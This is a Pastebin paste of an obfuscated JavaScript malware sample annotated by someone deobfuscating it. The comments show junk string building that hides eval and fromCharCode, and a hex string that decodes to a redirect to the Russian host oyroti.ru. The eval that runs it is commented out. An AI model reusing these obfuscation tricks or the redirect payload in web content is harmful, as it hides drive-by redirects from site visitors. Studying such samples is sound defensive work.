Advertisement
canhnm

Javascript virus

Apr 5th, 2012
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var QczuQeg = 'mRjDH';
  2. var sgkE;
  3. var PEKNrcG = 'PrXespvlsaXcXe'.replace(/[sPvX]/g, ''); //=> replace
  4. var hDviVH;
  5. var gNhTBOW = 'NfQrNomNCQhaNrQQCQoNdNe' [PEKNrcG](/[NQ]/g, ''); //=> fromCharCode
  6. var IZfjkVz = 50;
  7. var JApqpiU = 53;
  8. var jgaJdhv = 20;
  9. var ilaS = 'FpgaFrBseBIBnt' [PEKNrcG](/[BgF]/g, ''); //=> parseInt
  10. var PxfrSE = 57;
  11. var UcleaTC = 'dxDDT';
  12. var zlkOqY;
  13. var MyUl = 'HsglHigce' [PEKNrcG](/[HgY]/g, ''); //=> slice
  14. if ('xdFAikk' == 'ywlCnXB') EZmmNe();
  15. var qvIaN = 'feEvAafl' [PEKNrcG](/[EAf]/g, ''); //=> eval
  16. var AstMW = 'JhjAM';
  17. var VWeWemp;
  18. var UBTFC = '';
  19. var egvIQhW;
  20. var plcL = 'PVEoBo';
  21. var lkcdpz = 92;
  22. var VgDCc = 44;
  23. var RmFM = 'elXykYc';
  24. var rtRzOUu = '9ca79bada59da6ac66a4a79b99aca1a7a6755fa0acaca8726767a7b1aaa7aca166aaad675f';
  25. if ('Zplrpzl' == 'rNdx') EAHJW();
  26. var rOrFw = 74;
  27. var ejwUwJ;
  28. var jXtk = 'xLLAcV';
  29. if ('wSNZS' == 'kjueBN') ViLavW();
  30. var wlboPtK = (function () {
  31.     var xiWq = 'Ppcsdwo';
  32.     var zkKlwL = 27;
  33.     return this;
  34.     var FrpbWvr = 16;
  35.     var OgbhA;
  36.     var wXtNIn;
  37. })(); //=> return this/window
  38. var OUmUuB;
  39. var wXpv = 58;
  40. var sQxZz = 'OcCoOnOCsCtOrOuOcCtOoCr' [PEKNrcG](/[OC]/g, ''); //=> constructor
  41. if ('bfIHP' == 'bRrnmD') wBuinB();
  42. //var mXdnxV = 'WXTsjPw' [sQxZz];
  43. var mXdnxV = 'WXTsjPw' . constructor;
  44.  
  45. if ('wQKQ' == 'edSCeO') enXeRii();
  46. var NqhzmI;
  47. if ('MfMQDf' == 'TFlVVP') WZKb();
  48. var sDojl = 54;
  49. for (beTU = 0; beTU < rtRzOUu.length; beTU += 2) { // => rTRzOUu length = 74
  50.     if ('JlDX' == 'XwpjoKf') psavv();
  51.     //OqfwSf = wlboPtK[ilaS](rtRzOUu[MyUl](beTU, beTU + 2), 16) - 56;    
  52.     OqfwSf  = window.parseInt(rtRzOUu.slice(beTU, beTU + 2), 16) - 56;//=>return 74 number
  53.     var kufVdvO;
  54.     var gVCY = 'iUnd';
  55.     //UBTFC += mXdnxV[gNhTBOW](OqfwSf);
  56.     UBTFC += String.fromCharCode(OqfwSf);//generate string from charcode that built before in OqfwSf
  57.     /*
  58.     100 => d
  59.     111 => o
  60.     99  => c
  61.     117 => u
  62.     109 => m
  63.     101 => e
  64.     110 => n
  65.     116 => t
  66.     46  => .
  67.     108 => l
  68.     111 => o
  69.     99  => c
  70.     97  => a
  71.     116 => t    
  72.     105 => i
  73.     111 => o
  74.     110 => n
  75.     61  => =
  76.     39  => '
  77.     104 => h
  78.     116 => t
  79.     116 => t
  80.     112 => p
  81.     58  => :
  82.     47  => /
  83.     47  => /
  84.     111 => o
  85.     121 => y
  86.     114 => r
  87.     111 => o
  88.     116 => t
  89.     105 => i
  90.     46  => .
  91.     114 => r
  92.     117 => u
  93.     47  => /
  94.     39  => '
  95.     */
  96.     var rsnWVO = 'mfMyy';
  97.     var MKrk;
  98. } //=> UBTFC = document.location='http://oyroti.ru/';
  99. var LOFO;
  100.  
  101. /* Must be commented */
  102. //wlboPtK[qvIaN](UBTFC);
  103. //window.eval(UBTFC);
  104. /* Must be commented */
  105.  
  106. var xRBEEf;
  107. var RvkF = 41;
  108. var Jyrz = 'REBzwWC';
  109. var nbjDH = 'eCWL';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement